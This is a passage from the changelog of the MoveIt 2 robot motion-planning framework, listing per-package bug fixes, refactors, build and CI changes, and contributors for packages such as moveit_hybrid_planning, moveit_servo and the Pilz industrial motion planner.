* PS: backwards compatibility for specifying poses for a single collision shape (#2816 <https://github.com/ros-planning/moveit/issues/2816>)
* Fix Bullet collision returning wrong contact type (#2829 <https://github.com/ros-planning/moveit/issues/2829>)
* Add RobotState::setToDefaultValues from group string (#2828 <https://github.com/ros-planning/moveit/issues/2828>)
* Fix issue #2809 <https://github.com/ros-planning/moveit/issues/2809> (broken test with clang) (#2820 <https://github.com/ros-planning/moveit/issues/2820>)
  Because std::make_pair uses the decayed type (std::string), the strings were actually copied into a temporary, which was subsequently referenced by the elements of std::pair, leading to a stack-use-after-scope error.
  Explicitly passing const references into std::make_pair via std::cref() resolves the issue mentioned in #2809 <https://github.com/ros-planning/moveit/issues/2809>.
* [moveit_core] Fix export of FCL dependency (#2819 <https://github.com/ros-planning/moveit/issues/2819>)
  Regression of 93c3f63
  Closes: #2804 <https://github.com/ros-planning/moveit/issues/2804>
* code fix on wrong substitution (#2815 <https://github.com/ros-planning/moveit/issues/2815>)
* Preserve metadata when detaching objects (#2814 <https://github.com/ros-planning/moveit/issues/2814>)
* [fix] RobotState constructor segfault (#2790 <https://github.com/ros-planning/moveit/issues/2790>)
* Fix compiler selecting the wrong function overload
* more fixes for the clang-tidy job (#2813 <https://github.com/ros-planning/moveit/issues/2813>)
* fix clang-tidy CI job (#2792 <https://github.com/ros-planning/moveit/issues/2792>)
* Fix bullet plugin library path name (#2783 <https://github.com/ros-planning/moveit/issues/2783>)
* Trajectory: Improve docstrings (#2781 <https://github.com/ros-planning/moveit/issues/2781>)
* clang-tidy: modernize-make-shared, modernize-make-unique (#2762 <https://github.com/ros-planning/moveit/issues/2762>)
* Fix Windows CI (#2776 <https://github.com/ros-planning/moveit/issues/2776>)
* Fixup devel-space build after #2604 <https://github.com/ros-planning/moveit/issues/2604>
* Cleanup CollisionDetectorAllocatorTemplate::getName()
* RobotTrajectory: add convenience constructor
* Fix windows compilation failures
* CMakeLists.txt and package.xml fixes for cross-platform CI
* Contributors: Abishalini, Akash, AndyZe, Captain Yoshi, Dave Coleman, David V. Lu!!, Felix von Drigalski, Henning Kayser, Jafar Abdi, Jochen Sprickerhof, Kaustubh, Michael Görner, Michael Wiznitzer, Parthasarathy Bana, Peter Mitrano, Robert Haschke, Sencer Yazıcı, Silvio Traversaro, Simon Schmeisser, Tobias Fischer, Tyler Weaver, Vatan Aksoy Tezer, Wolf Vollprecht, Yuri Rocha, predystopic-dev, pvanlaar, toru-kuga, v4hn, werner291

moveit_hybrid_planning
* Bump new packages to 2.3.0
* Add codespell to precommit, fix A LOT of spelling mistakes (#934 <https://github.com/ros-planning/moveit2/issues/934>)
* CMake fix and cleanup abstract class (#6 <https://github.com/ros-planning/moveit2/issues/6>)
  * Install hybrid_planning_demo_node separately to avoid exporting it
  * Fix exported include directory
  * Remove getTargetWayPointIndex() from abstract trajectory operator class
  * Delete unused getTargetWayPointIndex()
* Standardize with moveit_cpp parameters. Fix some parameter loading errors
* Enable reaction to planner failure in the planner logic (#3 <https://github.com/ros-planning/moveit2/issues/3>)
  * Add unsuccessful action Hybrid Planning events and handle them in logic
  * Replace std::once with simple bool variable
  * Remove unneeded variable and update comments
  Don't const& for built-in types
  Co-authored-by: Tyler Weaver<EMAIL_ADDRESS>* Update robot state properly
  Update robot state properly; remove debug prints; clang format
  Check if the local planner is stuck within the forward_traj plugin, not local_planner_component
* Pass GlobalPlanner failing to HybridPlanningManager
* Move common launch elements to a Python file, for easy re-use
  Refactor Global and Local Planner Components into NodeClasses
  Add a simple launch test (#1 <https://github.com/ros-planning/moveit2/issues/1>)
  Try to fix plugin export; add helpful debug when stuck
  Error if global planning fails
  READY and AWAIT_TRAJ states are redundant
  Lock the planning scene as briefly as possible
  Specify joint group when checking waypoint distance
  Implement a reset() function in the local planner
  Detect when the local planner gets stuck
* Add generic global planner plugin, support MotionSequenceRequest (#585 <https://github.com/ros-planning/moveit2/issues/585>)
  Fix hybrid planning include folders (#675 <https://github.com/ros-planning/moveit2/issues/675>)
  Order stuff in the CMakeLists.txt and remove control_box package
  Update README
  Move member initialization to initializer lists
  Remove control_box include dependency
  Replace "loop-run" with "iteration"
  Remove cpp interface class constructors and destructors
  Use joint_state_broadcaster, clean up test node, add execution dependencies
  Use only plugin interface header files and add missing dependencies
  Clean up constructor and destructor definitions
  Declare missing parameter in moveit_planning_pipeline_plugin
  Move rclcpp::Loggers into anonymous namespaces
  Switch CI branches to feature/hybrid_planning
  Update message name
  Remove moveit_msgs from .repos file
  Update github workflows
  Remove note from readme about building from source
  Minor renamings, make reset() noexcept
  Check for vector length of zero
  Load moveit_cpp options with the Options helper. Reduces LOC.
  Set the planning parameters within plan()
  Function renaming
  Authors and descriptions in header files only. New header file for error code interface.
  Update namespacing
  Use default QoS for subscribers
  Better progress comparison
  Add publish_joint_positions and publish_joint_velocities param
  Grammar and other minor nitpicks
  Restore moveit_msgs to .repos, for now
* Refactor local planner plugins (#447 <https://github.com/ros-planning/moveit2/issues/447>)
  * Add reset method for trajectory operator and local constraint sampler
  * Refactor next_waypoint_sampler into simple_sampler
  * Include collision checking to forward_trajectory and remove unneeded plugin
  * Fix formatting and plugin description
  * Update README and add missing planner logic plugin description
  Add TODO to use lifecycle components nodes to trigger initialization
  Return a reaction result instead of bool on react()
  Set invalidation flag to false on reset() in ForwardTrajectory local solver
  Return local planner feedback from trajectory operator function calls
  Fix segfault caused by passing through the global trajectory
  Update comment, unify logging and add missing config parameters
  Update to rolling
* Restructure hybrid_planning package (#426 <https://github.com/ros-planning/moveit2/issues/426>)
  * Add forward_trajectory local solver plugin (#359 <https://github.com/ros-planning/moveit2/issues/359>)
  * Use ros2_control based joint simulation and remove unnecessary comment
  * Update copyrights
  * Restructure hybrid planning package
  * Fix formatting and add missing time stamp in local solver plugin
  * Remove unnecessary logging and param loading
  * Enable different interfaces between local planner and controller
  * Use JointGroupPositionController as demo hardware controller
* Code cleanup & MoveIt best practices (#351 <https://github.com/ros-planning/moveit2/issues/351>)
  * Export missing plugins
  * Use std::chrono_literals
  * Construct smart pointers with std::make_* instead of 'new'
  * Fixup const-ref in function signatures, reduce copies
  * Improve planning scene locking, robot state processing, controller logic
* Refine local planner component (#326 <https://github.com/ros-planning/moveit2/issues/326>)
  * Make local planner component generic
  * Add next_waypoint_sampler trajectory operator
  * Update hybrid planning test to include collision object
  * Clean up code and fix minor bugs.
  * Update local planner component parameter
  * Add local collision constraint solver
  * Update planning scene topic name and test node
  * Fix bugs and runtime errors in local planner component and it's plugins
  * Add collision object that invalidates global trajectory
  * Add simple "stop in front of collision object" demo
  * Add hybrid planning manager reaction to local planner feedback
  * Fix ament_lint_cmake
  * Ensure that local planner start command and collision event are send once
  * Add simple replanning logic plugin
  * Use current state as start state for global planner
  * Use RobotTrajectory instead of constraint vector describe local problem
  * Add PlanningSceneMonitorPtr to local solver plugin
  * Add local planner frequency parameter
  * Use PID controller to create control outputs for robot controller
  * Add hybrid_planning_manager config file
  * Add more complex test node
  * Update README
  * Reset index in next_waypoint_sampler
  * Use correct isPathValid() interface
  * Rename path_invalidation flag
  * Read planning scene instead of cloning it in local planner
  * Add TODO creator
  * Rename local constraint solver plugin
  * Use read-locked access to the planning scene for collision checking
  * Rename constraint_solver into local_constraint_solver
  * Add missing pointer initialization
* Hybrid planning architecture (#311 <https://github.com/ros-planning/moveit2/issues/311>)
  * Add hybrid_planning architecture skeleton code
  * Add simple state machines to hybrid planning manager and local planner
  * Initial global planner prototype implementation
  * Forward joint_trajectory with local planner
  * Forward hybrid planning motion request to global planner
  * Abstract planner logic from hybrid planning manager by using a plugin
  * Implement single plan execution logic
  * Add test launch files, RViz and demo config
  * Add test for motion_planning_request
* Contributors: AndyZe, David V. Lu!!, Henning Kayser, Jens Vanhooydonck, Sebastian Jahr

moveit_kinematics
* Convert to modern include guard #882 <https://github.com/ros-planning/moveit2/issues/882> (#891 <https://github.com/ros-planning/moveit2/issues/891>)
* Replaced C-Style Cast with C++ Style Cast. (#935 <https://github.com/ros-planning/moveit2/issues/935>)
* Add codespell to precommit, fix A LOT of spelling mistakes (#934 <https://github.com/ros-planning/moveit2/issues/934>)
* Get rid of "std::endl" (#918 <https://github.com/ros-planning/moveit2/issues/918>)
* changed post-increments in loops to preincrements (#888 <https://github.com/ros-planning/moveit2/issues/888>)
* Update README (#812 <https://github.com/ros-planning/moveit2/issues/812>)
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* clang-tidy: modernize-make-shared, modernize-make-unique (#2762 <https://github.com/ros-planning/moveit/issues/2762>)
* Contributors: Dave Coleman, David V. Lu!!, Henning Kayser, Kaustubh, Parthasarathy Bana, Robert Haschke, Sencer Yazıcı, Stephanie Eng, predystopic-dev, pvanlaar

moveit_planners
* PILZ: Migrate and Restructure test directory
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* Contributors: Dave Coleman, Henning Kayser, Robert Haschke, Sebastian Jahr

moveit_planners_chomp
* Port CHOMP Motion Planner to ROS 2 (#809 <https://github.com/ros-planning/moveit2/issues/809>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* clang-tidy: modernize-make-shared, modernize-make-unique (#2762 <https://github.com/ros-planning/moveit/issues/2762>)
* Contributors: Dave Coleman, Henning Kayser, Robert Haschke, andreas-botbuilt, pvanlaar

moveit_planners_ompl
* Add codespell to precommit, fix A LOT of spelling mistakes (#934 <https://github.com/ros-planning/moveit2/issues/934>)
* Get rid of "std::endl" (#918 <https://github.com/ros-planning/moveit2/issues/918>)
* changed post-increments in loops to preincrements (#888 <https://github.com/ros-planning/moveit2/issues/888>)
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* Reduce log verbosity, improved info message (#714 <https://github.com/ros-planning/moveit2/issues/714>)
* Fix #2811 <https://github.com/ros-planning/moveit/issues/2811> (#2872 <https://github.com/ros-planning/moveit/issues/2872>)
  This is a PR for #2811 <https://github.com/ros-planning/moveit/issues/2811>
* Add missing dependencies to generated dynamic_reconfigure headers
* clang-tidy: modernize-make-shared, modernize-make-unique (#2762 <https://github.com/ros-planning/moveit/issues/2762>)
* Contributors: Dave Coleman, David V. Lu!!, Henning Kayser, Mathias Lüdtke, Parthasarathy Bana, Robert Haschke, Sencer Yazıcı, pvanlaar, v4hn, werner291

moveit_plugins
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* Contributors: Dave Coleman, Henning Kayser

moveit_resources_prbt_ikfast_manipulator_plugin
* Bump new packages to 2.3.0
* Add PRBT test dependencies for PILZ planner (#909 <https://github.com/ros-planning/moveit2/issues/909>)
  * Adding PRBT config
  * Port prbt packages to ROS 2
  * Move PRBT into test_configs directory
  * Fix pre-commit for pilz test_config
  * Revert "Docker - Temporarily move moveit_resources under target workspace due to #885 <https://github.com/ros-planning/moveit2/issues/885> (#915 <https://github.com/ros-planning/moveit2/issues/915>)"
  * Reset repos file entry for moveit_resources
  * prbt_support: drop all test code
  Co-authored-by: Christian Henkel<EMAIL_ADDRESS>  Co-authored-by: Michael Görner<EMAIL_ADDRESS>  Co-authored-by: Sebastian Jahr<EMAIL_ADDRESS>* Contributors: Henning Kayser, Tyler Weaver
* initial commit from upstream PilzDE/pilz_robots version 0.5.19 (2020-09-07)

moveit_resources_prbt_moveit_config
* Bump new packages to 2.3.0
* Add PRBT test dependencies for PILZ planner (#909 <https://github.com/ros-planning/moveit2/issues/909>)
  * Adding PRBT config
  * Port prbt packages to ROS 2
  * Move PRBT into test_configs directory
  * Fix pre-commit for pilz test_config
  * Revert "Docker - Temporarily move moveit_resources under target workspace due to #885 <https://github.com/ros-planning/moveit2/issues/885> (#915 <https://github.com/ros-planning/moveit2/issues/915>)"
  * Reset repos file entry for moveit_resources
  * prbt_support: drop all test code
  Co-authored-by: Christian Henkel<EMAIL_ADDRESS>  Co-authored-by: Michael Görner<EMAIL_ADDRESS>  Co-authored-by: Sebastian Jahr<EMAIL_ADDRESS>* Contributors: Henning Kayser, Tyler Weaver
* initial commit from upstream PilzDE/prbt_movit_config version 0.5.18

moveit_resources_prbt_pg70_support
* Bump new packages to 2.3.0
* Add PRBT test dependencies for PILZ planner (#909 <https://github.com/ros-planning/moveit2/issues/909>)
  * Adding PRBT config
  * Port prbt packages to ROS 2
  * Move PRBT into test_configs directory
  * Fix pre-commit for pilz test_config
  * Revert "Docker - Temporarily move moveit_resources under target workspace due to #885 <https://github.com/ros-planning/moveit2/issues/885> (#915 <https://github.com/ros-planning/moveit2/issues/915>)"
  * Reset repos file entry for moveit_resources
  * prbt_support: drop all test code
  Co-authored-by: Christian Henkel<EMAIL_ADDRESS>  Co-authored-by: Michael Görner<EMAIL_ADDRESS>  Co-authored-by: Sebastian Jahr<EMAIL_ADDRESS>* Contributors: Henning Kayser, Tyler Weaver
* initial commit from upstream PilzDE/prbt_grippers version 0.0.4

moveit_resources_prbt_support
* Bump new packages to 2.3.0
* Add PRBT test dependencies for PILZ planner (#909 <https://github.com/ros-planning/moveit2/issues/909>)
  * Adding PRBT config
  * Port prbt packages to ROS 2
  * Move PRBT into test_configs directory
  * Fix pre-commit for pilz test_config
  * Revert "Docker - Temporarily move moveit_resources under target workspace due to #885 <https://github.com/ros-planning/moveit2/issues/885> (#915 <https://github.com/ros-planning/moveit2/issues/915>)"
  * Reset repos file entry for moveit_resources
  * prbt_support: drop all test code
  Co-authored-by: Christian Henkel<EMAIL_ADDRESS>  Co-authored-by: Michael Görner<EMAIL_ADDRESS>  Co-authored-by: Sebastian Jahr<EMAIL_ADDRESS>* Contributors: Henning Kayser, Tyler Weaver
* initial commit from upstream PilzDE/pilz_robots version 0.5.19 (2020-09-07)

moveit_ros
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* Contributors: Dave Coleman, Henning Kayser

moveit_ros_benchmarks
* Replaced C-Style Cast with C++ Style Cast. (#935 <https://github.com/ros-planning/moveit2/issues/935>)
* Add codespell to precommit, fix A LOT of spelling mistakes (#934 <https://github.com/ros-planning/moveit2/issues/934>)
* Get rid of "std::endl" (#918 <https://github.com/ros-planning/moveit2/issues/918>)
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* clang-tidy: modernize-make-shared, modernize-make-unique (#2762 <https://github.com/ros-planning/moveit/issues/2762>)
* Contributors: Dave Coleman, David V. Lu!!, Henning Kayser, Kaustubh, Parthasarathy Bana, Robert Haschke, pvanlaar

moveit_ros_control_interface
* Fix installation of moveit_ros_control_interface header files (#789 <https://github.com/ros-planning/moveit2/issues/789>)
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* Update controller_manager_plugin to fix MoveIt-managed controller switching (#785 <https://github.com/ros-planning/moveit2/issues/785>)
* moveit_ros_control_interface: Small comment cleanup (#754 <https://github.com/ros-planning/moveit2/issues/754>)
* Contributors: AndyZe, Dave Coleman, Henning Kayser, Joseph Schornak, Robert Haschke

moveit_ros_move_group
* Add codespell to precommit, fix A LOT of spelling mistakes (#934 <https://github.com/ros-planning/moveit2/issues/934>)
* Get rid of "std::endl" (#918 <https://github.com/ros-planning/moveit2/issues/918>)
* Consider simulated time (#883 <https://github.com/ros-planning/moveit2/issues/883>)
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* clang-tidy: modernize-make-shared, modernize-make-unique (#2762 <https://github.com/ros-planning/moveit/issues/2762>)
* Contributors: Dave Coleman, David V. Lu!!, Felix von Drigalski, Gaël Écorchard, Henning Kayser, Parthasarathy Bana, Robert Haschke, pvanlaar

moveit_ros_occupancy_map_monitor
* Replaced C-Style Cast with C++ Style Cast. (#935 <https://github.com/ros-planning/moveit2/issues/935>)
* Add codespell to precommit, fix A LOT of spelling mistakes (#934 <https://github.com/ros-planning/moveit2/issues/934>)
* Get rid of "std::endl" (#918 <https://github.com/ros-planning/moveit2/issues/918>)
* Fix boost linking errors (#900 <https://github.com/ros-planning/moveit2/issues/900>)
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* Prefer std::make_shared over new operator (#2756 <https://github.com/ros-planning/moveit/issues/2756>)
* Contributors: Dave Coleman, David V. Lu!!, Henning Kayser, Kaustubh, Michael Görner, Parthasarathy Bana, Robert Haschke, Vatan Aksoy Tezer

moveit_ros_perception
* Replaced C-Style Cast with C++ Style Cast. (#935 <https://github.com/ros-planning/moveit2/issues/935>)
* Add codespell to precommit, fix A LOT of spelling mistakes (#934 <https://github.com/ros-planning/moveit2/issues/934>)
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* clipped points should only be considered up to the max_range (#2848 <https://github.com/ros-planning/moveit/issues/2848>)
* clang-tidy: modernize-make-shared, modernize-make-unique (#2762 <https://github.com/ros-planning/moveit/issues/2762>)
* Contributors: Dave Coleman, David V. Lu!!, Henning Kayser, Kaustubh, Michael Görner, Robert Haschke, pvanlaar

moveit_ros_planning
* Replaced C-Style Cast with C++ Style Cast. (#935 <https://github.com/ros-planning/moveit2/issues/935>)
* Add codespell to precommit, fix A LOT of spelling mistakes (#934 <https://github.com/ros-planning/moveit2/issues/934>)
* Get rid of "std::endl" (#918 <https://github.com/ros-planning/moveit2/issues/918>)
* changed post-increments in loops to preincrements (#888 <https://github.com/ros-planning/moveit2/issues/888>)
* Latched Strings for URDF and SRDF (#765 <https://github.com/ros-planning/moveit2/issues/765>)
* Consider simulated time (#883 <https://github.com/ros-planning/moveit2/issues/883>)
* Make controller management logic more tolerant of missing or late ros2_control nodes (#792 <https://github.com/ros-planning/moveit2/issues/792>)
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* Tests for TrajectoryMonitor using dependency injection (#570 <https://github.com/ros-planning/moveit2/issues/570>)
* Update controller_manager_plugin to fix MoveIt-managed controller switching (#785 <https://github.com/ros-planning/moveit2/issues/785>)
* MoveitCpp - path constraints added from PlanningComponent (backport #752 <https://github.com/ros-planning/moveit2/issues/752>) (#781 <https://github.com/ros-planning/moveit2/issues/781>)
* Split CollisionPluginLoader (#2834 <https://github.com/ros-planning/moveit/issues/2834>)
* Bugfix in RDFLoader (#2806 <https://github.com/ros-planning/moveit/issues/2806>)
* Fix obvious typo (#2787 <https://github.com/ros-planning/moveit/issues/2787>)
* clang-tidy: modernize-make-shared, modernize-make-unique (#2762 <https://github.com/ros-planning/moveit/issues/2762>)
* Contributors: Abishalini Sivaraman, Dave Coleman, David V. Lu!!, Felix von Drigalski, Gaël Écorchard, Henning Kayser, Joseph Schornak, Kaustubh, Mathias Lüdtke, Michael Görner, Parthasarathy Bana, Robert Haschke, Sencer Yazıcı, pvanlaar, werner291

moveit_ros_planning_interface
* Add codespell to precommit, fix A LOT of spelling mistakes (#934 <https://github.com/ros-planning/moveit2/issues/934>)
* Consider simulated time (#883 <https://github.com/ros-planning/moveit2/issues/883>)
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* Find/replace deprecated spawner.py (#737 <https://github.com/ros-planning/moveit2/issues/737>)
* common_objects: getSharedRobotModelLoader fix deadlock (#734 <https://github.com/ros-planning/moveit2/issues/734>)
* fix trajectory constraints for moveit commander (#2429 <https://github.com/ros-planning/moveit/issues/2429>)
* MGI::setStartState: Only fetch current state when new state is diff (#2775 <https://github.com/ros-planning/moveit/issues/2775>)
* clang-tidy: modernize-make-shared, modernize-make-unique (#2762 <https://github.com/ros-planning/moveit/issues/2762>)
* Contributors: AndyZe, Dave Coleman, David V. Lu!!, Felix von Drigalski, Gaël Écorchard, Henning Kayser, Jafar Abdi, Kevin Chang, Robert Haschke, pvanlaar

moveit_ros_robot_interaction
* Add codespell to precommit, fix A LOT of spelling mistakes (#934 <https://github.com/ros-planning/moveit2/issues/934>)
* changed post-increments in loops to preincrements (#888 <https://github.com/ros-planning/moveit2/issues/888>)
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* clang-tidy: modernize-make-shared, modernize-make-unique (#2762 <https://github.com/ros-planning/moveit/issues/2762>)
* Contributors: Dave Coleman, David V. Lu!!, Henning Kayser, Robert Haschke, Sencer Yazıcı, pvanlaar

moveit_ros_visualization
* Convert to modern include guard #882 <https://github.com/ros-planning/moveit2/issues/882> (#891 <https://github.com/ros-planning/moveit2/issues/891>)
* Replaced C-Style Cast with C++ Style Cast. (#935 <https://github.com/ros-planning/moveit2/issues/935>)
* Add codespell to precommit, fix A LOT of spelling mistakes (#934 <https://github.com/ros-planning/moveit2/issues/934>)
* Get rid of "std::endl" (#918 <https://github.com/ros-planning/moveit2/issues/918>)
* changed post-increments in loops to preincrements (#888 <https://github.com/ros-planning/moveit2/issues/888>)
* Latched Strings for URDF and SRDF (#765 <https://github.com/ros-planning/moveit2/issues/765>)
* Consider simulated time (#883 <https://github.com/ros-planning/moveit2/issues/883>)
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* Reduce log verbosity, improved info message (#714 <https://github.com/ros-planning/moveit2/issues/714>)
* Fix Python2: convert keys() into list (#2862 <https://github.com/ros-planning/moveit/issues/2862>)
* MP panel: fix order of input widgets for shape size (#2847 <https://github.com/ros-planning/moveit/issues/2847>)
* Makes rviz trajectory visualization topic relative (#2835 <https://github.com/ros-planning/moveit/issues/2835>)
* MotionPlanningFrame: Gracefully handle undefined parent widget (#2833 <https://github.com/ros-planning/moveit/issues/2833>)
* more fixes for the clang-tidy job (#2813 <https://github.com/ros-planning/moveit/issues/2813>)
* clang-tidy: modernize-make-shared, modernize-make-unique (#2762 <https://github.com/ros-planning/moveit/issues/2762>)
* Contributors: Dave Coleman, David V. Lu!!, Felix von Drigalski, Gaël Écorchard, Henning Kayser, Kaustubh, Michael Görner, Parthasarathy Bana, Rick Staa, Robert Haschke, Sencer Yazıcı, Yuri Rocha, lorepieri8, predystopic-dev, pvanlaar

moveit_ros_warehouse
* Replaced C-Style Cast with C++ Style Cast. (#935 <https://github.com/ros-planning/moveit2/issues/935>)
* Get rid of "std::endl" (#918 <https://github.com/ros-planning/moveit2/issues/918>)
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* clang-tidy: modernize-make-shared, modernize-make-unique (#2762 <https://github.com/ros-planning/moveit/issues/2762>)
* Contributors: Dave Coleman, Henning Kayser, Kaustubh, Parthasarathy Bana, Robert Haschke, pvanlaar

moveit_runtime
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* Contributors: Dave Coleman, Henning Kayser

moveit_servo
* Servo: fix -Wunused-private-field (#937 <https://github.com/ros-planning/moveit2/issues/937>)
* Add codespell to precommit, fix A LOT of spelling mistakes (#934 <https://github.com/ros-planning/moveit2/issues/934>)
* Add descriptions and default values to servo parameters (#799 <https://github.com/ros-planning/moveit2/issues/799>)
* Update README (#812 <https://github.com/ros-planning/moveit2/issues/812>)
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* moveit_servo: Fix ACM for collision checking & PSM's scene monitor topic (#673 <https://github.com/ros-planning/moveit2/issues/673>)
* Fix initialization of PSM publisher in servo (#771 <https://github.com/ros-planning/moveit2/issues/771>)
* Move initialization of ServoNode into constructor (#761 <https://github.com/ros-planning/moveit2/issues/761>)
* Fix missing test depend in servo (#759 <https://github.com/ros-planning/moveit2/issues/759>)
* Find/replace deprecated spawner.py (#737 <https://github.com/ros-planning/moveit2/issues/737>)
* Fix the servo executable name (#746 <https://github.com/ros-planning/moveit2/issues/746>)
* Use rclcpp::SystemDefaultsQoS in Servo (#721 <https://github.com/ros-planning/moveit2/issues/721>)
* Use multi-threaded component container, do not use intraprocess comms in Servo (#723 <https://github.com/ros-planning/moveit2/issues/723>)
* Disable use_intra_process_comms in servo launch files (#722 <https://github.com/ros-planning/moveit2/issues/722>)
* Servo: minor fixups (#2759 <https://github.com/ros-planning/moveit/issues/2759>)
* Contributors: AndyZe, Dave Coleman, David V. Lu!!, Henning Kayser, Jafar Abdi, Robert Haschke, Stephanie Eng, Tyler Weaver, toru-kuga

moveit_setup_assistant
* Replaced C-Style Cast with C++ Style Cast. (#935 <https://github.com/ros-planning/moveit2/issues/935>)
* Add codespell to precommit, fix A LOT of spelling mistakes (#934 <https://github.com/ros-planning/moveit2/issues/934>)
* Get rid of "std::endl" (#918 <https://github.com/ros-planning/moveit2/issues/918>)
* changed post-increments in loops to preincrements (#888 <https://github.com/ros-planning/moveit2/issues/888>)
* Update README (#812 <https://github.com/ros-planning/moveit2/issues/812>)
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* Ported the collision updater from ros1 to ros2 in the moveit_setup_assistant (#732 <https://github.com/ros-planning/moveit2/issues/732>)
* Adds jiggle fraction arg to trajopt template (#2858 <https://github.com/ros-planning/moveit/issues/2858>)
* Fixes _planning_pipeline.launch template input args defaults (#2849 <https://github.com/ros-planning/moveit/issues/2849>)
* Fixes setup_assistant custom planner ns problem (#2842 <https://github.com/ros-planning/moveit/issues/2842>)
* MSA: Mention optional Gazebo deps in package.xml templates (#2839 <https://github.com/ros-planning/moveit/issues/2839>)
* clang-tidy: modernize-make-shared, modernize-make-unique (#2762 <https://github.com/ros-planning/moveit/issues/2762>)
  Co-authored-by: Robert Haschke<EMAIL_ADDRESS>* Revert $(dirname) use for rviz config file
  ... due to this bug: https://github.com/ros/ros_comm/issues/1487
  This partially reverts 442c3202a4124877afbb6e2bdee682c537f25553
* Fix MSA templates (#2769 <https://github.com/ros-planning/moveit/issues/2769>)
  * create static_transform_publisher for each virtual joint type
  * another $(dirname)
  augmenting #2748 <https://github.com/ros-planning/moveit/issues/2748>
  * formatting
* Contributors: Brennand Pierce, Dave Coleman, David V. Lu!!, Henning Kayser, Kaustubh, Parthasarathy Bana, Rick Staa, Robert Haschke, Sencer Yazıcı, Stephanie Eng, pvanlaar

moveit_simple_controller_manager
* Add codespell to precommit, fix A LOT of spelling mistakes (#934 <https://github.com/ros-planning/moveit2/issues/934>)
* Make controller management logic more tolerant of missing or late ros2_control nodes (#792 <https://github.com/ros-planning/moveit2/issues/792>)
* Clang-tidy fixes (#596 <https://github.com/ros-planning/moveit2/issues/596>)
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* clang-tidy: modernize-make-shared, modernize-make-unique (#2762 <https://github.com/ros-planning/moveit/issues/2762>)
* controller manager: enclose name in quotes (#2761 <https://github.com/ros-planning/moveit/issues/2761>)
* Contributors: Dave Coleman, David V. Lu!!, G.A. vd. Hoorn, Henning Kayser, Joseph Schornak, Robert Haschke, pvanlaar

pilz_industrial_motion_planner
* Convert to modern include guard #882 <https://github.com/ros-planning/moveit2/issues/882> (#891 <https://github.com/ros-planning/moveit2/issues/891>)
* Add codespell to precommit, fix A LOT of spelling mistakes (#934 <https://github.com/ros-planning/moveit2/issues/934>)
* Get rid of "std::endl" (#918 <https://github.com/ros-planning/moveit2/issues/918>)
* changed post-increments in loops to preincrements (#888 <https://github.com/ros-planning/moveit2/issues/888>)
* Consider simulated time (#883 <https://github.com/ros-planning/moveit2/issues/883>)
* Use CallbackGroup for MoveGroupSequenceAction
* PILZ: Build fixups, silence warnings, fix unit tests
* PILZ: Migrate and Restructure test directory
* PILZ: Migrate planner and testutils packages to ROS 2
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Consider attached bodies in Pilz planner #2773 <https://github.com/ros-planning/moveit/issues/2773> (#2824 <https://github.com/ros-planning/moveit/issues/2824>)
  - Remove convertToRobotTrajectory() and integrate its line of code into setSuccessResponse()
  - Pass the final start_state into setSuccessResponse()
* Fix Pilz planner's collision detection (#2803 <https://github.com/ros-planning/moveit/issues/2803>)
  We need to pass the current PlanningScene down to the actual collision checking methods
* Add planning_pipeline_id to MotionSequence service (#2755 <https://github.com/ros-planning/moveit/issues/2755>)
